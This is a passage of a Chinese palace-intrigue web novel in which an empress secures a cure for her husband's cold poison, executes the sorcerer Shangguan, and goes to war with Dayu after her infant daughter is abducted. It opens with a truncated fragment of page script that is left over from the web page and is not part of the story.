d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上官揉了揉手腕,“饲养蛊虫讲究方式方法,工序繁复,解寒毒需要血亲的脐带血喂养的蛊虫,他二十三了吧,寒毒早已侵入骨髓,命不久矣,血亲的脐带血最好快些备出来,迟了,我可不敢保证能医活他。” 第215章 大虞女皇 满足沈惊澜和两个孩子有血亲的脐带血,无外乎是再生一个。 沈惊澜吩咐小辛把上官关押在刑部天牢,派专人看守,上官需要养蛊虫的瓶瓶罐罐以及各种药材尽量满足。 温若初着急解两个孩子和沈惊澜身上的寒毒,朝古叔要了一副助女子有孕的方子。 晚膳过后吃完助子汤药,天已经黑了,香薰沐浴,换上了一身轻薄寝衣,等沈惊澜回来跟她一起造小孩。 闲着无聊,她倚靠在贵妃榻里看话本,刚翻开一页。 门外太监捏着嗓子,拉长声调。 “陛下驾到——” 平常沈惊澜要在尚书房批阅奏折忙到很晚才会回来,今日居然提前一个时辰回来,还挺自觉。 温若初抬眼看出,沈惊澜走了进来,不等她吩咐,秋菊对沈惊澜行了一个礼,有眼色地领着太监宫女褪下了。 寝殿里剩下两人,温若初放下话本,起身就去解沈惊澜的衣裳。 “不需要前戏吗?” 沈惊澜张开手臂,由着她宽衣,玄色外袍落到蟠龙地砖上。 温若初一堆的心事,真没那个兴致,要不是急着要孩子,她此时只想自己一会儿呆。 “不需要。” 手上动作不停,白皙纤细的手指,像是急色的色魔似的,解下腰封,拉着沈惊澜躺到床榻上。 沈惊澜扯下束着床幔的带子,床幔落下,两个影子交叠在一起。 紫檀木床榻发出吱吱呀呀的声音,直到子夜才停歇。 温若初香汗淋漓地躺在床上,眼神空洞地盯着天花板,大口喘着粗气。 沈惊澜给她盖了盖被子。 “你那里有些肿了,今天先到这?” 温若初讷讷点点头,折腾了两个时辰确实体力有些不支,没一会儿就睡了过去。 隔天温若初又是日上三竿起床,沈惊澜已经走了,梳洗过后,秋菊端来一碗参汤。 “陛下特意嘱咐奴婢熬煮的参汤,给娘娘补补身子。” 秋菊见温若初眼底有点黑眼圈,整个人也神色恹恹的,有些心疼温若初,犹豫道。 “这么折腾您的身子也受不住啊,要不让陛下选秀吧?” 温若初愣了愣。 到底是古代社会,三妻四妾再寻常不过,更何况是皇帝。 沈惊澜的后宫只有她自己。尽管心底有些不好受,也得承认秋菊说的是个好办法。 沈惊澜平常多顺着她,做那种事的时候很凶,昨晚温若初自己都不知道晕过去几次,现在都腰酸腿疼的。 等晚上沈惊澜来到她寝殿,打算开启造小人计划,温若初紧了紧衣裳。 “等等。” 沈惊澜一脸疑惑,昨晚急色的可是她,早晨他起床离开房间的时候,她还说晚上让他早些过来。 为了早些过来,节省一些时间,午膳都是在御书房的桌案上用的。 “怎么了?是身子不舒服?” 温若初坐在床边,抿了抿唇,犹豫半晌解释。 “你现在是皇帝了,不是都说皇帝三宫六院,后宫佳丽三千,如今后宫只有我自己,你要不要……” 一句简单的话吭吭哧哧说了半天,温若初说话的功夫,沈惊澜已经把近两年时间内,两人之间所有的不愉快的拌嘴吵架,都在脑子里过了一遍。 最后定格在凌玄礼三番五次诱哄温若初回大虞这件事上。 温若初越是吞吞吐吐不说正题,沈惊澜越是慌神。 “你要走?” “啊?” 温若初没沈惊澜的那些想法,不知道沈惊澜的这句话从哪里来的,愣了愣摇头否认。 “我没要走,我的意思是……” 一句“我没要走”对于沈惊澜来说如定心丸。 “三宫六院,后宫佳丽三千的是别人,我不需要。” “可是揣孩子也不是今天想明天就能揣上的,多几个人,几率也更大一些。” 沈惊澜那执拗的脾气,让他接受一个陌生人做那种事,的确有些强人所难,温若初底气不足,低着头,说话的声音越来越小。 沈惊澜面上染着几分不悦,直视温若初,眼底藏着几分极力掩饰的委屈。 “我不要,我的孩子必须是从你肚子里出来的,除非你不想要。” 脐带血能救命,温若初自然是想要孩子的,她没劝动沈惊澜。 沈惊澜还威胁她,“选秀的事休要再提!” 昨晚折腾到半夜,这会温若初还没缓过来,腰酸腿疼的,那里也疼,沈惊澜早晨走的时候涂抹过药,还是疼。 妥协地叹了一口气,沉默半晌抬手去解沈惊澜腰扣,手刚碰到腰扣,手背附上来一只带着薄茧的大手,轻轻按了按她的手,带着几分阻止的意味。 方才还急呢,这会又不让了,沈惊澜到底想做什么? 温若初疑惑的视线看向沈惊澜。 沈惊澜垂眸看着她,眼底宠溺,抬手捏了捏她的脸。 “先歇息一日。” 一晚上什么事也没干,两个人互相抱着睡了一觉。 温若初还在为揣孩子整日苦恼的时候,大虞传来消息,女皇突然驾崩,传位凌玄澈。 凌玄澈向来不得女皇待见,女皇又怎么会传皇位给凌玄澈? 再说那凌玄澈已经被贬为庶人,怎么可能承袭皇位? 温若初再三确认,凌玄澈就是大虞的新皇帝,不止如此,凌玄澈还封了温清柔为皇后。 温若初坐在椅子里,百思不得其解,手里端着茶盏已经有些冷了。 一时愣神,连沈惊澜什么时候进来的都不知道,他出声,她才回神。 “大虞女皇驾崩了。” 沈惊澜就是来告诉温若初这个消息,进来就见她在愣神,也不知道在想什么,本无意打扰,可女皇在温若初心里的分量非同寻常。 温若初点头,表示自己知道了。 “怎么会是凌玄澈继承皇位?” 凌玄礼若是早些回大虞,继承皇位的极有可能是凌玄礼,然后是凌肃。 再不济还有景王淮王,温若初绞尽脑汁也想不明白,凌玄澈是如何继承皇位的? 沈惊澜拿走温若初手里已经冷掉的茶,换了一盏温的给她。 “圣人突然病重,凌玄澈用虎符调了五千骑兵,和凌肃里应外合破了城门,正常应该是传位给凌肃,女皇却写下传位给凌玄澈的诏书。凌肃不满,想要反水,被凌玄澈反杀了,凌玄澈登基立了温清柔为皇后。” “圣人是怎么想的?” 沈惊澜没接温若初的话,女皇病重之际,凌玄澈和凌肃联合在一起逼宫谋反。 抛开别的不论,大虞女皇是一个合格的帝王,沈惊澜对女皇政治思想和脾气秉性多有研究,女皇性子狠辣,决绝,宁为玉碎不为瓦全,就算剩下最后一口气,也不会坐以待毙。 设身处地试想女皇躺在病榻,城门被破,眼前没有可用之人,大势已去。面对合谋在一起的两个乱臣贼子,定要离间他们,让两人自相残杀,绝不会让两人顺顺利利地夺走她的江山。 沈惊澜摩挲着指腹,据他得到的消息,凌肃的部下已经准备起疑反抗凌玄澈,大虞的太平盛世很可能要一去不复返了。 女皇给温若初下过杀了他,代替他成为雍国皇帝的…… 沈惊澜余光瞄了一眼温若初,女皇此举,可能是在给温若初机会,毕竟女皇曾经有过想扶持王首青做大虞女皇的想法。 然,这只是沈惊澜的一个猜测,没有什么依据。 如今雍国逐渐走上正轨,百姓安居乐业,温若初是雍国皇后,贸然去做大虞的女皇,到底师出无名。 温若初一直以来被沈惊澜保护得很好,没女皇那么大的野心,也不敢想。 正如沈惊澜顾虑的那样,她一个雍国皇后怎么可能去大虞做皇帝,更何况凌玄澈已经登基,还封温清柔为皇后。 温若初一肚子问号。 “温清柔不是受上官谋杀圣人案子,被圣人关进了大理寺,遭了好几遍酷刑,我离开上京的时候还听人说温清柔不行了,可能会死在大理寺大狱,温清柔的命这么硬?” 沈惊澜:“温清柔和凌肃的女儿凌妙关系交好,后来圣人解了凌肃的禁足,凌妙买通狱卒,用一个女囚换走温清柔,并一直留在府里养着。” 第216章 两国邦交 温若初了然。 不得不承认温清柔的血条不是一般的厚,凌玄澈也是踩了狗屎运。 差点忘记了,她穿越的是一本书。 凌玄澈和温清柔可是书中男女主角,书中结局便是凌玄澈登基当了皇帝,温清柔为皇后。 她做了那么多努力,不断打压凌玄澈和温清柔,到最后还是让凌玄澈当上了皇帝。 一个庶人居然能承袭皇位?这里不知道有多少不合理的地方。 凌玄澈和凌肃可是死敌,两个人能趁女皇病危里应外合破城门? 虎符是何等重要之物,温若初还曾特意提醒过女皇身边的芳若,千万不能把虎符弄丢,居然能落到凌玄澈手里。 温清柔身陷囹圄,只剩下一口气了,还能活? …… 就是这些不合理的地方组合在一起,把这本书的故事推进到最后的既定结局。 温若初苦笑一声,她做了那么多的努力都无法改变什么,剧情的自我修复功能还真是强大。 想起书中沈惊澜结局,登基之后没多久就死了。 那沈惊澜…… 是不是也同书中结局一样,要早死。 若是这样,也没必要挣扎了,最后的这点时间,还不如让沈惊澜想吃点什么就吃点什么,想做什么就做什么,乐得个随性自在。 温若初有些丧丧地想着。 忽然,脑海中有一个念头闪过。 不对…… 故事走向还是有些细微出入的。 书中沈惊澜死后,是沈星驰的长子沈桓承袭皇位,如今沈桓死了。 假如沈惊澜早死,那承袭皇位的应该是沈轩或者沈煜,也就是说两个孩子必须活着,才会朝书中结局发展。 沈轩和沈煜和沈惊澜一样,身中寒毒,沈轩和沈煜若是能活,沈惊澜就一定能活。 想到此,温若初那颗濒临绝望的心,又活了。 日子还得继续过。 晚些时候,朝大虞方向摆放了香案和贡品,祭奠大虞女皇。 温若初斋戒三日。 大虞女皇驾崩,可以不用承受女皇命令她杀掉沈惊澜取而代之的压力了。 全心准备脐带血,造小人。 也许是天无绝人之路,上苍垂帘,在决定要孩子的第十天,御医来请平安脉,御医一脸喜色。 “恭喜娘娘,贺喜娘娘,娘娘有喜了,只是刚刚坐胎,胎相有些不稳,卧床歇息几日即可。” 温若初赏了御医,她轻抚小腹,本意用这个孩子的脐带血救人,此时小腹里真的有了一个生命,就像是唤醒某种激素,和当初得知怀了沈轩和沈煜时的心情一样,肚子里是她的孩子,而不仅仅是脐带血。 她躺在床上轻抚半天小腹,派冯文去刑部天牢瞧瞧上官。 再过十个月就有脐带血了,上官那边可别出什么岔子。 晚些时候冯文回来了,一脸轻松地回禀。 “回娘娘,那个上官在刑部天牢里住得可安分了,每天除了吃就是睡。” “他没要虫子之类的东西?”温若初诧异多问了一句。 冯文摇着脑袋,“没有,什么都没要。” 养蛊虫不是一朝一夕的事,上官自己也说饲养蛊虫工序繁复。即便上官是很厉害的蛊师,也不能凭空变出来蛊虫。 不吵不闹,也不让人准备东西,实属反常。 温若初心里起疑,这个上官可能还有别的心思。 不管上官憋着什么坏水,他人在刑部天牢,就算插上翅膀也跑不出去。 大虞女皇驾崩半个月之后,大虞派来使者。 最初温若初以为只是涉及两国邦交,没想到和上官有关。 沈惊澜和温若初心底厌烦凌玄澈,毕竟如今身份不同,是皇帝,所作出的任何举动,都有可能关乎两国子民。 沈惊澜和温若初还是尽地主之谊,在长乐宫设宴招待大虞使臣,凌玄礼也邀请过来了。 这次大虞使团的主使官员姓赵,原是吏部一个五品主簿,是凌玄澈母家的一个远房亲戚,凌玄澈登基之后,破格提拔成了礼部尚书。 钟鼓齐奏,舞姬身形翩跹。 几句寒暄过后,赵大人捋了一把胡须,梗着脖子,眼底尽是难以遮挡的傲慢之色。 “我朝皇上命令我等前往雍国,一来是重新修订合约,促进两国边界长治久安,造福百姓。” “二来……” 赵大人嗤笑一声,没直接说目的,反而言语之间提到了陈兵在两国交界的十万铁骑,手里握着酒杯吹嘘凌玄澈天纵圣明,有经天纬地之才,赞扬温清柔是一代闲后。 “大虞皇后是本官侄女,我那个侄是何等贤明,古往今来的皇后都不必上她。” “我大虞十万铁骑俱是威武之师,攻无不克战无不胜,此乃我朝新皇励精图治的结果……” 温清柔和温若初是同父异母的妹妹,凡是对上京勋贵圈有点了解的,都知道两人关系不好。 温若初作为雍国皇后坐在这里,当着她的面提温清柔就是明摆着打温若初的脸。 温若初刚要插嘴怼赵大人几句,沈惊澜比她先开口说话了。 “贵国皇帝登基半月之久,能有如此政绩实在令人钦佩,想必不出两个月,大虞要在贵国皇帝手里横扫周边列国,名垂千古了。” 沈惊澜一身玄色龙袍在身,高坐主位,冷眼逆向赵大人,打断吹嘘凌玄澈和温清柔的彩虹屁。 瞧瞧凌玄澈派过来的人,说话没头脑,是个拎不清的,众目睽睽之下拉仇恨。 大虞八成要毁在凌玄澈手里。 第217章 抢人 “那是自然。” 赵大人没听懂沈惊澜的反话,反而因沈惊澜的“夸赞”沾沾自喜,顺着话茬哈哈笑了两声。 跟随赵大人一起的使团其他人听出来了。 虽说凌玄澈做了皇帝,可凌肃的部下最近没少给凌玄澈找麻烦,由于女皇死的突然,周边几个依附于大虞的小国跃跃欲试脱离大虞掌控。 大虞虽国力强盛,可眼下正是内忧外患之际,稍有不慎,大厦将顷刻间崩塌,届时被别国蚕食。 赵大人认不清形势,还在这里大言不惭鼓吹新帝。 新帝登基不过半个月,皇宫的地形都没弄清楚,哪里来的政绩。倒让外人看了笑话。 凌玄澈这个皇位坐得并不稳固。 大虞使团成员除了几个跟赵大人关系好的,剩下的人一脸尴尬,摇头叹息,脸都被这个姓赵的丢没了,新君糊涂,怎么能让这么一个二货当使团的主使官。 凌玄礼坐在赵大人身边,全程黑着脸。 “赵大人吃酒吃醉了,来人,扶赵大人回驿站歇息。” 赵大人一甩袖子赶走来搀扶他的人,神色不满地看向凌玄礼。 “我是使团主使官,你算什么东西也敢让老子回去,老子是大虞皇后的叔叔,你管不到老子头上。” “皇上口谕,让你留在大虞照顾若初公主,你管好你自己那摊事,少来管我!” “你!” 凌玄礼语滞,他是大虞的臣子,奉女皇之命留在都城,任务完成,迟早要回大虞的。 凌玄澈却不让他回去,无非是觉得他的存在是个威胁罢了。 凌玄澈觉得荒唐,他根本就没有做皇帝的心思,架不住旁人这样想。 皇命难违,凌玄澈无话可说,憋闷地仰头一口灌下酒杯里剩下的酒水。 赵大人转头笑嘻嘻地看向沈惊澜和温若初,一脸的醉态,伸出两根手指。 “皇帝派我等前来的第二件事,我朝皇帝要朝雍国要一人。” “谁?” “上官大人是我朝皇帝还好友,我朝皇帝听闻上官大人被关押在雍国刑部大牢,忧心的是整夜整夜睡不好,还望雍国陛下能看在两国邦交的情分上放了上官大人。” “我朝皇帝说了,大虞和雍国本就是友好的两个邦交国家,犯不上因为这点小事,影响了两国之间的情谊。” 顿了顿,赵大人继续道,“我朝皇帝也好早日把屯在两国交界的十万铁骑诏回。”傲慢的语气中多了几分威胁。 凌玄澈自己屁股没擦干净,处于内忧外患之际,温若初才不相信凌玄澈能指挥得动那十万铁骑。 他若是有那个能耐,也不用趁女皇病危的时候,盗取虎符和凌肃合作,直接调这十万铁骑岂不是更稳妥。 拿十万铁骑吓唬他们,这个赵大人真是有意思。 人在无语的时候是会笑的。 温若初忍不住噗嗤一声笑了出来,“上官大人啊……” 她瞅了一眼沈惊澜,开始胡说八道,“……上官是陛下的座上宾,如今好生安置在别苑,上官痴迷巫蛊之术,上官说雍国水土条件适合饲养蛊虫。” “还说让我们没事别去打扰他,本宫和陛下很敬重上官的,上官不愿意,谁也带不走他。” 温若初面上带着得体笑意,说出话却很是强势,丝毫没有因那十万铁骑被吓到。 赵大人脸色憋得通红,完全没料到沈惊澜和温若初不吃这套,吃了憋,酒也醒了大半。 “雍国的陛下和皇后是不打算放人了?” 沈惊澜道:“上官不愿意走,不是我们不放人。” 赵大人气得嘴角抽搐两下,来之前他打听得清清楚楚,上官就关押在刑部,沈惊澜和温若初居然说上官不愿意离开。 骗鬼呢? “十万铁骑屯兵两国交界,不出七日就能抵达都城,陛下可想好了?” “赵卿是在威胁朕?” “哼!”赵大人梗着脖子,鼻音轻哼一声,就是在威胁他们。 “既如此……” 沈惊澜极有风度地做出一个请的手势。 “送客!” 禁军进来架着赵大人的胳膊,拖过年猪一样把人往外拖。 “你们干什么?本官可是大虞使臣,大虞皇后是我侄女,我是天朝来使,你们胆敢对我无礼……” 赵大人挣扎着不愿意离开,嘴里骂骂咧咧。撂下狠话,“你们等着!” 跟随赵大人一起来的使团其余人呼呼啦啦起身,对沈惊澜和温若初这边行了一个礼,跟着赵大人离开了。 凌玄礼走在最后,脚步很慢,和赵大人一行人拉开很长距离,回头瞅了一眼温若初,似乎有话想说,最后还是跟着使团一行人走了。 宴会不欢而散,结束之后,温若初跟随沈惊澜直奔刑部,提审上官。 凌玄澈登基之后的第一件事就是派使团来雍国,重新签订两国友好合约是假,真实目的是想带走上官。 难怪上官安生住在牢里,什么要求也没有,敢情上官和凌玄澈早就勾结在一起。 上官是蛊师,温若初打听过,厉害的蛊师能调教蛊虫,百丈之内杀人于无形。 凌玄澈能搞到真的虎符,想必是在大虞皇宫里安插了内应,女皇突然病危,十有八九是通过凌玄澈又中了蛊虫的毒。 凌玄澈特意派遣一个使团,千里迢迢过来接上官,凌玄澈和上官之间定是达成了什么不可告人的交易。 凌玄澈想要上官,温若初也想要上官。 为解两个孩子和沈惊澜身上寒毒,费了好一番力气才抓住上官,怎会放人。 上官被两个衙役带了进来,一身轻薄衣裳不染一丝灰尘,长着一张明艳动人的脸,看着却让人生厌。 温若初开门见山,冷声质问上官。 “寒毒能不能解?” “我是寒族最优秀的蛊师,当然能解寒毒,不过我还有要紧事,暂时没那个闲工夫,等我办完事之后,说不定一高兴,就把陛下和两个皇子的寒毒解了。” 上官还是那副死猪不怕开水烫的表情,看向坐在高位的沈惊澜和温若初,轻嗤一声。 “我若是没猜错,应该是有人来接我了,放了我,除此之外你们没有更好的选择……” “跪下!” 上官言语轻蔑,好像笃定他今日一定能走出刑部天牢一样,话没说完,小辛抬脚狠狠揣在他的膝盖上。 咔嚓一声骨头碎裂声响,上官瘫倒在地,捂着变形的膝盖,疼得呲牙咧嘴,额头上渗出一层冷汗。 第218章 准备后事 温若初听着那声不算清脆的骨头断裂声响,牙齿发酸,心都跟着抽了一下。 小辛这孩子平常开起来白白净净的像个未成年的柔弱书生,下手居然如此狠辣。 上官满嘴谎话,骗了她,上官不是真心帮沈惊澜和两个孩子解寒毒。 温若初来的时候带着一肚子气,小辛这一脚下去,憋在胸口的那股气顺畅多了。 温若初暗暗舒出一口气,下意识瞅了一眼沈惊澜。 沈惊澜眉心微蹙,眼神狠厉,像是看一坨烂肉一样看着上官,面上没什么别的表情,好像粉碎膝盖骨对于他来说不是什么大不了的事。 注意到温若初视线,眼底狠厉瞬间被柔情取代,视线向下,睃了一眼她的小腹。 “要不……你先出去?” 温若初抚了抚小腹,摇摇头,她没那么矫情,况且这里面有些事,沈惊澜并不知道,面对上官这种人,打他的七寸比折磨他皮肉更能让他疼。 温若初扬声吩咐门外太监。 “抬进来。” 两个小太监合力抬进来一块石碑,立在上官面前,石碑边缘雕刻厚重古朴花纹,只右下角雕刻几个小纂。 “未亡人:洛辰” 上官顾不得膝盖上钻心的疼,爬到石碑前,疼惜抚摸,瞪大眼睛,眼底绝望而痛苦,一脸不可置信。 “不……不……” 半晌过后,抬眼怨毒地看向温若初,“你,你掘了他的墓?” 局势调转,温若初成了那个不以为然的人。 每个人都有在乎的东西,前阵子和上官谈判,提到答应在凌氏玉牒凌渊名字后面,正妻位置加上官的名字,温若初清晰记得,当时上官的眼睛都亮了。 凌渊都死二十几年了,死得也不光彩,上官现在还执着这件事,不能光明正大做凌渊妻子,已然成了上官的心结。 大虞女皇驾崩之后,温若初怕有变故,过后没办法兑现诺言,差人移走了凌渊的墓,想着等上官解了沈惊澜和两个孩子身上寒毒之后,践行诺言,把两人埋一起。过后再在皇室玉牒上添上官的名字。 没想到上官早就和凌玄澈勾结到了一起,她开给上官的这些条件便不再具有优势,添加名字亦或是葬在一起,凌玄澈都能帮上官做到。 温若初自认不是什么好人,没什么底线。难得守诺一次,做一件成全人的好事,还被人耍了。 不过,到也不吃亏,她手里有上官在乎的东西,上官若是惹得她不高兴,她就用凌渊的骸骨去喂狗。 上官是沈惊澜的舅舅,其实有时候这两人有时候还真挺像的。 沈惊澜不认上官,她也不认。 温若初往椅子里靠了靠,姿态随意,她轻哼一声。 “解了寒毒,凌渊的骸骨还给你,如若不然,本宫就命人把凌渊的骸骨攒成粉,喂狗!” “你这个毒妇!”上官眼眶通红咒骂温若初。 温若初不和上官废话。 “解了陛下和两位皇子的寒毒,是你最好的选择。”用的是上官的句式。 上官双目猩红,抱着石碑,愤愤地瞪着温若初。 “好,我答应你。” 温若初唇边勾起满意的笑意。 “一言为定,你若是敢耍花样,凌渊的骸骨就去狗肚子找,你也别想好过。” 沈惊澜补充,“就算你用了上不得台面的手段从天牢里逃出去,朕定会倾全国之力将你抓回来。” 石碑留下给了上官。 书中没有上官这个角色,温若初最近经常在想,她穿越过来,做了很多改变书中原剧情的事,结局还能和书中大差不差。 这个上官,就好像是为对付她而出现的,就好像……一个修复者,明明是一个很小的角色,却在悄无声息地纠正剧情走向。 若是直接杀了上官,是不是剧情就可以改写了? 隔天,又召见了大虞使臣,上官当着赵大人的面,亲口说愿意留在都城,不愿意去上京。 赵大人一行人劝了上官好半天,上官坐在椅子里,讷讷摇头。 “劳烦几位回上京帮我回禀你们的皇帝,都城水土适合饲养蛊虫,我一生痴迷巫蛊之术,不打算去上京了。” 见上官心意已决,赵大人一行人只好作罢,以大虞的名义重新和雍国签订友好合约。 签完合约的当天,使团就走了。 十个月后,温若初诞下一名女婴,取名长乐,封为公主。 上官用长乐的脐带血饲养了几只蛊虫。 温若初出了月子,沈惊澜沈轩沈煜身上的寒毒都解了。 沈轩和沈煜蹦蹦跳跳的,寒毒是真的解了,沈惊澜却一病不起,身子虚弱。 温若初问过古叔,沈惊澜身上的寒毒确实解了。 批阅奏折的活落到了温若初身上,方便照顾沈惊澜,命人把御书房的奏折搬到御乾宫。 宫人躬着身,小声恭敬回禀。 “娘娘,刑部的人说最近几日上官整日叫嚷着要凌渊骸骨。” 温若初用朱批完手里奏折,瞅了一眼里间睡在床榻上的沈惊澜,一动不动的,才几日的功夫,瘦得下颌线条愈发凌厉,素色锦被盖住单薄身形,更显几分病弱之态。 她放下奏折,“本宫亲自去给他送去。” 半个时候后,温若初穿着一身玄色绣着凤凰的衣裳,端坐太师椅里,小辛腰间别着一把刀,手握刀柄,立在她身后,宫女太监随侍左右。 刑部五品以上官员站在一边,小心翼翼打量温若初的脸色,大气不敢喘。 上官语气调侃,“呵,还真是女皇的亲外孙女,越来越像女皇了,你这个样子,看上去真的是很令人讨厌。” “不想看见,本宫可以帮你永远看不见。” 小辛配合她,抽出短刀,朝着上官比划,跃跃欲试剜眼睛。 上官悻悻地偏过头,不看这边,瘫坐在地,小心翼翼整理凌渊骸骨。 温若初不怒自威,隔着手臂粗的栅栏看牢房里的上官。 “本宫答应你的事做到了,”耐着性子问道,“寒毒解了,陛下为何身子愈发羸弱,昏迷不醒,还不如没解的时候?” 上官余光瞅了一眼温若初,手上整理凌渊骸骨动作不停。 “我说过,他身中寒毒二十几年,早已毒入骨髓,骤然解了寒毒,脏腑承受不住……” 哼笑一声,“……早些准备后事吧。” 第219章 给你一个杀回大虞的理由 小辛短刀出鞘,怒视上官。 “大胆,你敢诅咒陛下,信不信我割了你的舌头?” 长官嘴角勾起一抹不以为意的嗤笑,好像谁都不能拿他怎么样。 温若初端坐太师椅里,冷声吩咐。 “来人。” 太监端着一个乌木托盘走进上官牢间,乌木托盘上放着一壶酒一个琉璃酒盅。 太监斟满一盅酒,放到上官面前,恭敬地退了出去。 上官似乎意识到什么,一脸惶恐看向温若初。 “这是什么?” “本宫答应过你,允准你和凌渊葬在一处,酒里加了鹤顶红,不会太痛苦,请吧!” 温若初说的话很客气,语气却带着一股不容反驳的意味。 上官像是见到洪水猛兽似的,一把打翻酒盅,往后退了退。 “不,我不想死,我不想死……” 声音颤抖,摇头拒绝,后知后觉温若初来刑部天牢的真实目的。 “沈惊澜……”上官一脸求生欲,意识到说错话,很快改嘴,“不,是陛下,陛下确实伤了肺腑,不是诅咒陛下,确实是回天乏术,活不成了。” “你解毒之前不早说!” 温若初声音陡然抬高,厉声怒喝,“你没说解了寒毒就活不成了。” “我……” 上官辩五可辩,的确是没提前告知温若初,沈惊澜有八成会死,故意摆温若初一道。 没想到温若初这么狠,直接要毒死他,和女皇比简直是有过之而无不及。 温若初递给小辛一个眼色,小辛会意,钻进牢间,掰着上官的下巴,酒壶里剩下的酒悉数灌进上官嘴里。 不过是几息的功夫,上官便口吐白沫,没了生息,死翘翘了。 温若初和上官达成协议的时候,就没想着留上官的命。 一来是为了沈惊澜。 二来,为了她自己,上官憎恨杀了凌渊的女皇,憎恨王首青,因为凌渊的死因是王首青。 她是女皇的亲外孙女,王首青的女儿,长着一张和王首青有七八分相似的脸,上官也恨她。 上官精通巫蛊之术,能百丈之内杀人于无形。温 若初岂会留下这样一个危险分子。 再者,她最近愈发觉得上官这个人,就是为应付她而出来的剧情修正者,杀了上官这个修正者,她就不信改变不了原书故事结局。 遵照之前和上官的约定,把上官尸身和凌渊骸骨埋葬在了一处,墓碑上雕刻两个人的名字。 至于凌氏玉牒添加上官名字的事,过几日自会以国书形式,给凌玄澈去信,求凌玄澈在玉牒上添加上官的名字。 她对上官,也算是信守诺言了。 沈惊澜精神不济,时常昏迷,偶尔清醒,情况很糟。 温若初除了处理日常政务,照拂沈惊澜之外,每个月初一十五又多了一项任务,初一法华寺拜佛祖,十五龙虎山拜三清。 张贴告示,重金悬赏能医好沈惊澜的人。 能医治沈惊澜的人没找到,大虞又派人过来,来的人还是上次的那个赵大人,主要目的只有一个,就是接上官回去,还说大虞愿意用十六座城池换。 大虞如今诸侯四起,各地起义兵变不断,朝廷多次镇压,也是捉襟见肘,朝廷外强中干,若是没有有效政策推行下去,坚持不过三年。 前几日温若初得了消息,凌玄澈不知为何无故发疯,揪扯自己头发,用匕首剜自己的皮肉,尽管消息被捂得严实。 但她手里握着天机阁,大虞上京那边的情况,不能说了如指掌,也可以说是有所了解。 传消息的人说凌玄澈私下饲养蜈蚣,凌玄澈每次发疯自残过后,总能从凌玄澈嘴里爬出活物出来。 温若初高坐上位,没说上官死讯,笑着朝赵大人套话。 “不知上官有何长处,让贵国拿出十六座城池交换?” 赵大人没了上次来的时候的嚣张气焰,言谈举止毕恭毕敬,多有谄媚讨好之意。 温若初提起上官,赵大人唉声叹气一脸愁容,强撑着笑意解释。 “也没什么大事,我朝皇帝身子有恙,不是什么大问题,想让上官大人去瞧瞧。” “身子抱恙不是应该找御医?” “主要是我朝皇帝想和上官大人叙叙旧。” 赵大人说话颠三倒四,遮遮掩掩,眼神也是闪烁不定,一脸的心虚相。 大虞女皇死得突然,温若初当时就怀疑大虞女皇可能因蛊毒而死,当时上官在雍国都城,不可能跑去大虞上京杀人。 联想到近几日传回来的关于凌玄澈的消息…… 前后结合起来,温若初出边勾起了然笑意,凌玄澈十有八九跟着上官学了巫蛊之术,学的时间短,学艺不精,遭反噬了。 凌玄澈想让上官回去救他,可惜啊,上官已经死了。 温若初心里快意,面上一脸为难。 “不是本宫不愿意放人,实在是上官自己不愿意走,陛下以仁孝治天下,本宫为了十六座城池,违背上官意愿让你们带走,显得是本宫的不是了。” “送客!” 温若初一点情面都没给赵大人一行人留。 去年这些人来的时候,言语间多傲慢无礼,是因为雍国国力衰微,百废待兴,大虞正强盛。 一年过去,沈惊澜虽缠绵病榻,雍国却日渐强盛,相反大虞各地纷争不断,朝廷无力自保。 雍国皇帝病倒了,还有雍国皇后,雍国不怕大虞。 禁军进来推搡着赵大人一行人离开。 赵大人上午到都城,进宫拜见,晌午还没过就被灰头土脸撵出都城,连口热乎饭都没吃。 “太欺负人了!”使团有人不满道。“我们可是大虞使臣,就这么把咱们赶出来了,简直就是对大虞的挑衅!” “咱们皇上可是等着上官救命呢,这如何是好?” “绝对不能就这么算了,我们回去请求出兵屯兵交界,威慑雍国,就不信不交出上官。” “威慑个屁!” 赵大人吐一口嘴里的灰土,回头瞅了一眼城门,催促使团的人立马回去。 他是大虞皇后温清柔的远房亲戚,自然是向着温清柔的。 凌玄澈若是直接嗝屁了,当大虞主子的不就是温清柔了,到时候向女皇一样大权在握,他有生之年有望位极人臣。 雍国最好不交出上官,也别管大虞的事,井水不犯河水。 赵大人小算盘打得噼里啪啦直响,勾起嘴角得意笑了笑。 “我们回去。” 凌玄礼站在城门口上,冷眼看着匆匆远离的使团队伍,紧了紧拳头。 不过一年光景,泱泱大虞就被凌玄澈弄得满目疮痍,诸侯纷争四起,百姓遭受战乱之苦,流离失所,卖儿卖女,有的甚至不远千里跑来都城。 凌玄澈亲小人远贤臣,德不配位,算哪门子皇帝。 想起接到的女皇最后一道旨意:命他转告温若初,杀沈惊澜取而代之。 凌玄礼回头望了望都城皇宫方向,眸色晦暗不明。 或许,温若初不该取代沈惊澜,真正该取代的是凌玄澈。 一个计划在他脑海中浮现,喃喃道:“别怪我。” 温若初以为大虞使团的人走了就没事了,在赶走大虞使团的当天晚上,去看长乐公主的时候,长乐却不在房间内。 长乐才几个月大,用长乐的脐带血解了沈轩沈煜还有沈惊澜身上的寒毒,温若初格外重视长乐,总怕亏待了她。 厉声责问,“公主呢?” 负责看护长乐的宫女跪在地上,哆里哆嗦解释。 “凌大人说您想公主了,让凌大人把公主给您抱过去,还特意让乳娘跟着。” 秋菊眼尖地发现长乐的小床里有一封信,举起信。 “娘娘。” 温若初打开信,一目十行看完,脸色煞白,手直哆嗦,信纸攥得皱皱巴巴。 眼底载着像是要喷出火的怒意,切齿道。 “调兵,攻打大虞!” 长乐公主确实是凌玄礼抱走的,还掳走了长乐的乳娘。 信中内容是凌玄澈派凌玄礼偷走长乐,让温若初用上官去交换长乐。 她毕竟是从大虞出来的,大虞如今多事之秋,没像别的国家似的趁机咬大虞一口,已经是她的仁慈了,没想到凌玄澈欺人太甚,居然敢偷他的孩子。 第220章 长乐回来了 大虞朝廷远比想象中腐败无能,诸侯各自为政,范天恩的魏玮奉温若初的命令攻打大虞,以摧枯拉朽之势,短短半年时间,雍国兵马直抵上京。 前线传回军情,在大军抵达上京的当天凌玄澈一口气没喘过来,死了。 核实身份的时候发现凌玄澈尸身浑身皮肉溃烂流脓,鼻孔嘴巴耳朵眼睛时常有蜈蚣冒头钻出,看尸身状态确实是遭巫蛊之术反噬。 同伺候凌玄澈的老太监核实过,凌玄澈确实在饲养蛊虫,身体出了问题之后就不养了。 